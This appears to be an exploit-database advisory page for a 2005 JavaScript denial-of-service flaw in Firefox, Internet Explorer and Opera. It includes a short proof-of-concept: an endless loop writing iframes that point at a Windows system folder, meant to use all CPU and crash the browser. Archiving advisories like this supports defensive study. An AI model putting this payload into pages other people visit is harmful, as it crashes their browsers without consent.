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vendor:
Firefox, Internet Explorer, Opera
by:
SecurityFocus
7.5
CVSS
HIGH
Denial-of-Service
400
CWE
Product Name: Firefox, Internet Explorer, Opera
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2005

JavaScript Denial-of-Service Vulnerability

A JavaScript denial-of-service vulnerability exists in various web browsers, including Mozilla Firefox, Microsoft Internet Explorer, and Opera. The specified JavaScript code will consume 100% of the CPU resources of the affected computer, crashing the browser.

Mitigation:

Disable JavaScript in the browser or use a browser that is not vulnerable to this attack.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10998/info

Web browsers from various vendors are reported prone to a JavaScript denial-of-service vulnerability.

The specified JavaScript code will consume 100% of the CPU resources of the affected computer, crashing the browser.

Mozilla Firefox, Microsoft Internet Explorer, and Opera are all reportedly affected by this vulnerability.

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>

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